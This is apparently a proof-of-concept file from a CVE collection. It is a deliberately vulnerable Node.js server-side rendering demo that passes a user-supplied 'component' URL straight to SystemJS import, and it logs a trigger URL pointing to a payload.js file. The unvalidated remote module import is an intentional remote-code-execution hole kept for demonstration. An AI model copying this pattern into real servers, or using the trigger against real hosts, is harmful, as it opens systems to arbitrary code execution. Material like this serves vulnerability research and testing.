5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / vulnerable-ssr-server.cjs CJS
'use strict';

const fs = require('fs');
const http = require('http');
const path = require('path');
const { URL } = require('url');

const host = '127.0.0.1';
const port = 8080;
const proofDir = '/tmp/pwned';
const systemjsRoot = path.dirname(require.resolve('systemjs/package.json'));

const { System } = require('systemjs/dist/system-node.cjs');

global.System = System;
require(path.join(systemjsRoot, 'dist/extras/transform.js'));

function html(body) {
  return [
    '<!doctype html>',
    '<meta charset="utf-8">',
    '<title>SystemJS SSR Demo</title>',
    '<main>',
    body,
    '</main>'
  ].join('\n');
}

function send(res, status, body, type = 'text/html') {
  res.writeHead(status, { 'content-type': `${type}; charset=utf-8` });
  res.end(body);
}

async function renderComponent(componentUrl) {
  const mod = await System.import(componentUrl);
  if (typeof mod.render !== 'function') {
    throw new Error('Imported component did not export render()');
  }

  return mod.render();
}

const server = http.createServer(async (req, res) => {
  const requestUrl = new URL(req.url, `http://${host}:${port}`);

  if (requestUrl.pathname === '/') {
    send(res, 200, html([
      '<h1>Vulnerable SystemJS SSR Demo</h1>',
      '<p>Render endpoint: <code>/render?component=&lt;module-url&gt;</code></p>',
      '<p>This intentionally imports a user-controlled URL on the server.</p>'
    ].join('\n')));
    return;
  }

  if (requestUrl.pathname !== '/render') {
    send(res, 404, 'not found\n', 'text/plain');
    return;
  }

  const componentUrl = requestUrl.searchParams.get('component');
  if (!componentUrl) {
    send(res, 400, 'missing component query parameter\n', 'text/plain');
    return;
  }

  try {
    console.log(`[ssr] importing ${componentUrl}`);
    const rendered = await renderComponent(componentUrl);
    const proofStatus = fs.existsSync(proofDir)
      ? `<p>Proof directory exists: <code>${proofDir}</code></p>`
      : '<p>Proof directory not present.</p>';

    send(res, 200, html([
      rendered,
      proofStatus
    ].join('\n')));
  } catch (err) {
    console.error('[ssr] render failed:', err && err.stack || err);
    send(res, 500, `${err && err.stack || err}\n`, 'text/plain');
  }
});

server.listen(port, host, () => {
  console.log(`[ssr] listening on http://${host}:${port}`);
  console.log(`[ssr] trigger: http://${host}:${port}/render?component=http://127.0.0.1:9001/payload.js`);
});